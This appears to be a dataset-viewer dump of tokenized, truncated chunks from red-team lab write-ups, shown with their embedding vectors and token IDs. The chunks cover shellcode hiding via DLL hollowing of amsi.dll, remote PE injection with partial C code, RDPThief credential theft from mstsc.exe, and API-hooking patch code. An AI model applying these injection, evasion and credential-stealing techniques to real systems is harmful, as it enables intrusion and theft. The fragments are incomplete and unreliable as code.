##si! amsiuacscan + 0x54e0. if we inspect that memory location with a debugger, we see it resolves to amsi! dllmaincrtstartup and it contains our shellcode as expected : referencesmasking malicious memory artifacts – part i : phantom dll hollowingforrestorrliving dangerously with module stomping : leveraging code cover... | [
0.02523089572787285,
-0.04829556122422218,
0.3143489360809326,
0.3851735591888428,
-0.2741551399230957,
-0.8560821413993835,
0.09451328963041306,
0.3829123377799988,
-0.015434099361300468,
1.0376707315444946,
0.2402125895023346,
-0.025416066870093346,
0.3397636413574219,
-0.408842593431472... | [
5332,
999,
2572,
5332,
6692,
6169,
9336,
1009,
1014,
2595,
27009,
2063,
2692,
1012,
2065,
2057,
22459,
2008,
3638,
3295,
2007,
1037,
2139,
8569,
13327,
1010,
2057,
2156,
2009,
10663,
2015,
2000,
2572,
5332,
999,
21469,
19145,
2378,
26775,
... | red_team | 96.txt | 6 |
[CLS] pe injection : executing pes inside remote processescode injectionthis is a quick lab of a simplified way of injecting an entire portable executabe ( pe ) into another running process. note that in order to inject more complex pes, additional dlls in the target process may need to be loaded and import address tab... | [
-0.0677919015288353,
0.05836733803153038,
-0.37168943881988525,
0.10529833287000656,
-0.41883930563926697,
0.05954397842288017,
-0.34164443612098694,
0.24759194254875183,
-0.20482037961483002,
0.11453789472579956,
-0.14555701613426208,
0.320677250623703,
0.4281342923641205,
0.0940953865647... | [
101,
21877,
13341,
1024,
23448,
21877,
2015,
2503,
6556,
6194,
16044,
13341,
15222,
2015,
2003,
1037,
4248,
6845,
1997,
1037,
11038,
2126,
1997,
1999,
20614,
2075,
2019,
2972,
12109,
4654,
8586,
13210,
4783,
1006,
21877,
1007,
2046,
2178,
2... | red_team | 97.txt | 0 |
the local process : in my case, the new memory block got allocated at address 0x000001813acc0000. let's copy the current process's image in there : let's allocate a new block of memory in the target process. in my case it got allocated at 0x000001bfc0c20000 : calculate the delta between 0x000001bfc0c20000 and 0x0000018... | [
0.4729991853237152,
-0.1029929667711258,
-0.2950991690158844,
0.48372331261634827,
-0.8942021727561951,
-0.33341464400291443,
0.14381423592567444,
0.24877703189849854,
-0.0261706355959177,
0.5941416025161743,
0.15341196954250336,
-0.1793324053287506,
0.28150105476379395,
0.1272509396076202... | [
1996,
2334,
2832,
1024,
1999,
2026,
2553,
1010,
1996,
2047,
3638,
3796,
2288,
11095,
2012,
4769,
1014,
2595,
8889,
8889,
24096,
2620,
17134,
6305,
2278,
8889,
8889,
1012,
2292,
1005,
1055,
6100,
1996,
2783,
2832,
1005,
1055,
3746,
1999,
2... | red_team | 97.txt | 1 |
headers ) ( ( dword _ ptr ) imagebase + dosheader - > e _ lfanew ) ; / / allocate a new memory block and copy the current pe image to this new memory block pvoid localimage = virtualalloc ( null, ntheader - > optionalheader. sizeofimage, mem _ commit, page _ readwrite ) ; memcpy ( localimage, imagebase, ntheader - > op... | [
0.6351761221885681,
-0.21816544234752655,
-0.18063940107822418,
0.31754979491233826,
-0.7443411946296692,
-0.15168732404708862,
-0.5239008665084839,
-0.1153625100851059,
-0.16785848140716553,
0.3344499170780182,
-0.1489020586013794,
-0.15619947016239166,
0.45922955870628357,
0.079539328813... | [
20346,
2015,
1007,
1006,
1006,
1040,
18351,
1035,
13866,
2099,
1007,
3746,
15058,
1009,
9998,
4974,
2121,
1011,
1028,
1041,
1035,
1048,
15143,
7974,
1007,
1025,
1013,
1013,
2035,
24755,
2618,
1037,
2047,
3638,
3796,
1998,
6100,
1996,
2783,
... | red_team | 97.txt | 2 |
##ss + relocationrva [ i ]. offset ) ; * patchedaddress + = deltaimagebase ; } } relocationtable = ( pimage _ base _ relocation ) ( ( dword _ ptr ) relocationtable + relocationtable - > sizeofblock ) ; } / / write the relocated localimage into the target process writeprocessmemory ( targetprocess, targetimage, localima... | [
0.28283873200416565,
0.4193928837776184,
-0.000884765584487468,
0.02098979987204075,
-0.7001461386680603,
-0.5837036371231079,
-0.4344993233680725,
0.39308837056159973,
0.16896778345108032,
0.524878740310669,
0.08013206720352173,
-0.24231067299842834,
0.7349273562431335,
0.3237522840499878... | [
4757,
1009,
18344,
19146,
1031,
1045,
1033,
1012,
16396,
1007,
1025,
1008,
8983,
11960,
14141,
8303,
1009,
1027,
7160,
9581,
3351,
15058,
1025,
1065,
1065,
18344,
10880,
1027,
1006,
14255,
26860,
1035,
2918,
1035,
18344,
1007,
1006,
1006,
1... | red_team | 97.txt | 3 |
[CLS] api monitoring and hooking for offensive toolingrio recently posted about his tool rdpthief which i thought was plain genius. it allows for offensive operators to steal rdp credentials by injecting rdpthief's dll into the rdp client mstsc. exe. under the hood, rdpthief does the following : hooks mstsc. exe functi... | [
0.08766952902078629,
-0.7166922688484192,
-0.38801756501197815,
0.8393951654434204,
0.14095130562782288,
0.289090633392334,
-0.702765703201294,
0.4932848811149597,
0.12188749015331268,
0.6041849851608276,
-0.2403661012649536,
-0.3528745770454407,
0.322870135307312,
-0.6930435299873352,
-... | [
101,
17928,
8822,
1998,
8103,
2075,
2005,
5805,
6994,
2075,
9488,
3728,
6866,
2055,
2010,
6994,
16428,
13876,
4048,
12879,
2029,
1045,
2245,
2001,
5810,
11067,
1012,
2009,
4473,
2005,
5805,
9224,
2000,
8954,
16428,
2361,
22496,
2011,
1999,
... | red_team | 98.txt | 0 |
our hostname ) as a string argument. although rdpthief hooks sspicli! sspiprepareforcredread ( hostname supplied as a second argument ), another function that could be considered for hooking is credreadw ( hostname a the first argument ) as seen below : if we jump back to windbg and set another breakpoint for credreadw... | [
0.3784084916114807,
-0.49481555819511414,
-0.14627321064472198,
0.6245351433753967,
0.07002704590559006,
0.10627911984920502,
-0.2846970558166504,
0.01627626270055771,
0.3582612872123718,
0.5714271068572998,
-0.01491734478622675,
-0.3634847104549408,
0.4424639046192169,
-0.6313413381576538... | [
2256,
3677,
18442,
1007,
2004,
1037,
5164,
6685,
1012,
2348,
16428,
13876,
4048,
12879,
18008,
7020,
24330,
3669,
999,
7020,
8197,
28139,
19362,
12879,
2953,
16748,
16200,
4215,
1006,
3677,
18442,
8127,
2004,
1037,
2117,
6685,
1007,
1010,
2... | red_team | 98.txt | 1 |
blob seen in cryptprotectmemory function call ( in api monitor ) and also mentioned the 4 byte offset into rcx that holds the size of the encrypted blob - below shows that - first 4 bytes found at rcx ( during the cryptprotectmemory break ) are 0x20 or 32 in decimal : rdpthief in actioncompiling rdpthief provides us wi... | [
-0.06392400711774826,
-0.5605415105819702,
0.24250800907611847,
0.49771544337272644,
-0.46492183208465576,
-0.03149741142988205,
-0.48894914984703064,
-0.19220218062400818,
-0.37897056341171265,
1.0018335580825806,
0.004988634958863258,
0.004913045093417168,
0.4948207437992096,
-0.25306695... | [
1038,
4135,
2497,
2464,
1999,
19888,
21572,
26557,
21246,
6633,
10253,
3853,
2655,
1006,
1999,
17928,
8080,
1007,
1998,
2036,
3855,
1996,
1018,
24880,
16396,
2046,
22110,
2595,
2008,
4324,
1996,
2946,
1997,
1996,
4372,
26775,
22571,
3064,
1... | red_team | 98.txt | 2 |
[CLS] windows api hookingthis lab is a quick look into how userland winapis can be hooked. a messageboxa function will be hooked in this instance, but it could be any. api hooking is a technique by which we can instrument and modify the behavior and flow of apicalls. url api hooking is one of the techniques used by av ... | [
-0.01226770505309105,
-0.23972325026988983,
-0.7287132143974304,
0.8326214551925659,
-0.35729363560676575,
-0.09846850484609604,
-0.820175051689148,
0.1599770337343216,
0.776740312576294,
0.3046124279499054,
0.10821284353733063,
-0.3525301516056061,
0.023327482864260674,
-0.709258258342742... | [
101,
3645,
17928,
8103,
2075,
15222,
2015,
6845,
2003,
1037,
4248,
2298,
2046,
2129,
5310,
3122,
2663,
9331,
2483,
2064,
2022,
13322,
1012,
1037,
4471,
8758,
2050,
3853,
2097,
2022,
13322,
1999,
2023,
6013,
1010,
2021,
2009,
2071,
2022,
2... | red_team | 99.txt | 0 |
if we disassemble the address 3e1474h, we can see it contains a jmp to our hookedmessagebox : the hookedmessagebox intercepts and prints out the arguments supplied to messageboxa, then unhooks messageboxa by swaping back the first 6 bytes to the original bytes of the messageboxa function and then calls the messageboxa ... | [
0.19058220088481903,
-0.31366202235221863,
-0.5429295897483826,
0.9191484451293945,
0.05274796485900879,
-0.26776766777038574,
-0.8174925446510315,
0.08721153438091278,
0.34506163001060486,
0.3498455882072449,
-0.04292271286249161,
0.029055697843432426,
0.179782435297966,
-0.28439164161682... | [
2065,
2057,
4487,
20939,
3366,
19661,
1996,
4769,
1017,
2063,
16932,
2581,
2549,
2232,
1010,
2057,
2064,
2156,
2009,
3397,
1037,
1046,
8737,
2000,
2256,
13322,
7834,
3736,
3351,
8758,
1024,
1996,
13322,
7834,
3736,
3351,
8758,
19115,
2015,
... | red_team | 99.txt | 1 |
##a function - will need for unhooking readprocessmemory ( getcurrentprocess ( ), messageboxaddress, messageboxoriginalbytes, 6, & bytesread ) ; / / create a patch " push < address of new messageboxa ) ; ret " void * hookedmessageboxaddress = & hookedmessagebox ; char patch [ 6 ] = { 0 } ; memcpy _ s ( patch, 1, " \ x6... | [
-0.45491689443588257,
-0.2752610445022583,
-0.05361036956310272,
0.46189987659454346,
-0.5707302093505859,
-0.6372522711753845,
-0.5544489622116089,
-0.1186271458864212,
0.23977862298488617,
0.7146292924880981,
-0.1374586969614029,
0.35122132301330566,
0.04834465682506561,
-0.0497354045510... | [
2050,
3853,
1011,
2097,
2342,
2005,
4895,
6806,
23212,
3070,
3191,
21572,
9623,
6491,
6633,
10253,
1006,
2131,
10841,
14343,
3372,
21572,
9623,
2015,
1006,
1007,
1010,
4471,
8758,
4215,
16200,
4757,
1010,
4471,
8758,
10050,
24965,
3762,
457... | red_team | 99.txt | 2 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.